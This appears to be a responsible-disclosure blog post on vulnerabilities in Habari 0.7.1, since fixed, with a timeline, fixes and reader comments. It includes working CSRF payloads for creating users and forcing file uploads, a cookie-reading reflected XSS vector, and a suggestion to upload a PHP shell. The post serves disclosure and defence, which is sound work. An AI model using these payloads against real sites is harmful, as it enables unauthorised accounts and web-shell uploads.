Habari is a very nice blogging system - I tried to break it again, so let me show what I discovered in the next lines.
Note: all the showed vulnerabilities were fixed in the last Habari release (Habari 0.8).

Analysis

1. No clickjacking countermeasures

The admin section can be loaded in an iframe. You may exploit this by adopting some UI redressing techniques. Pretty scary!

2. CSRF in the add users process

Two anti-CSRF tokens are used when adding a new user, actually they are not properly validated. By making an HTTP POST request to http://[domain]/[habari_path]/admin/users and by populating this with the following fields only, it still results in a successful action.

new_email x@sa.x
new_pass1 x
new_pass2 x
new_username x
newuser Add User
reassign 0

The new user has not particular priviledges, but he is able to comment every blogpost bypassing the comments moderation. The attacker should just make the admin visit the following malicious page:

<script>
var xmlhttp = new XMLHttpRequest();
var params = "new_username=asd&new_email=asdas%40das.sa&new_pass1=1&new_pass2=1&newuser=Add+User&reassign=0";

xmlhttp.open("POST","http://[domain]/[habari_path]/admin/users",true);
xmlhttp.withCredentials = "true";

xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");

xmlhttp.send(params);
</script>

3.1 CSRF file upload in Media Silo - it may lead to invisible arbitrary CSRF file upload

The attacker is able to force the admin in uploading whatever it wants. It just need to deploy the following page and convince him to make an upload action.

<form action="http://[domain]/[habari_path]/admin_ajax/media_panel" method="post" enctype="multipart/form-data">

<input type="file" name="file">
<input type="submit" value="Upload" name="upload">
<input type="hidden" value="Habari" name="path">
<input type="hidden" value="upload" name="panel">

</form>

Here follows some request details:

POST http://[domain]/[habari_path]/admin_ajax/media_panel

Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: ???

-----------------------------265001916915724
Content-Disposition: form-data; name="file"; filename="filename.jpg"
Content-Type: image/jpeg

[binary data]
-----------------------------265001916915724
Content-Disposition: form-data; name="upload"

Upload
-----------------------------265001916915724
Content-Disposition: form-data; name="path"

Habari/
-----------------------------265001916915724
Content-Disposition: form-data; name="panel"

upload
-----------------------------265001916915724--

As usual, this process could be realized without user interaction (with some Javascript code), exploiting the CORS specification - the upload will complete transparently! I discovered something similar in Facebook.
For further information take a look at the Kotowicz's interesting presentation.

3.2 Uploaded file extension is not checked

The file upload process accepts every file extension, so the attacker might upload a PHP shell (or something similar) using the method above.

3.3 Uploaded files are located in a predictable position w/o randomizing their names

Uploaded files are located in [habari_path]/user/files/, basically no path+filename guessing is required for the attacker.

4. Non-persistent (reflected) XSS

http://[domain]/[habari_path]/admin/<a href=onload=alert(document.cookie);">

The previous vector results in the following tag:

<body class="page-<a href=" onload="alert(document.cookie);""">

That is pretty weird! You were able to inject non-malicious tags such as anchors - the filter accepted them without considering the first quote after the HREF attribute was breaking the class attribute.

Fix(es)

1. X-Frame-Options: DENY was employed and a framebuster as well (fix).

2. As I suggested, they employed the right validation for the anti-CSRF token (fix).

3.1 As above, anti-CSRF solved this issue and ensured the validity of the upload (fix).

3.2, 3.3 By solving the 3.1 issue, the attacker cannot force the upload anymore, so these issue are implicitly solved.

4. The reflected string is actually sanitized, however something like the following still works (but yeah, this is not a security issue at all). (fix).

http://[domain]/[habari_path]/admin/go%20to%20www.badsite.org%20to%20download%20the%20last%20habari%20version

Disclosure timeline

10.18.11 vendor contacted
10.18.11 Habari confirms they got my report
10.27.11 Issue 1,2,4 fixed
11.08.11 Issue 3 fixed
12.13.11 Habari 0.8 released

Habari users are hardly encouraged to update their blog system as soon as possible.
I would like to thank the Habari security team, that is really friendly and available. Thanks guys for your collaboration! :)

2 Responses to Habari 0.7.1 multiple vulnerabilities

  1. 1543 Krzysztof Kotowicz 2011-12-13 2:23 pm

    Nice findings! It's good to spot yet another CSRF file upload, these are stil all over the web.

  2. 1544 sneak 2011-12-13 6:29 pm

    Hi Krzysztof, yeah... Too many web applications are currently affected! It is pretty simple to spot a CSRF file upload and no clickjacking countermeasures during a penetration test.
    Actually developers should be completely aware of the cors security implications and the ui redressing attacks' big potential, as you too showed in your blogposts. ;)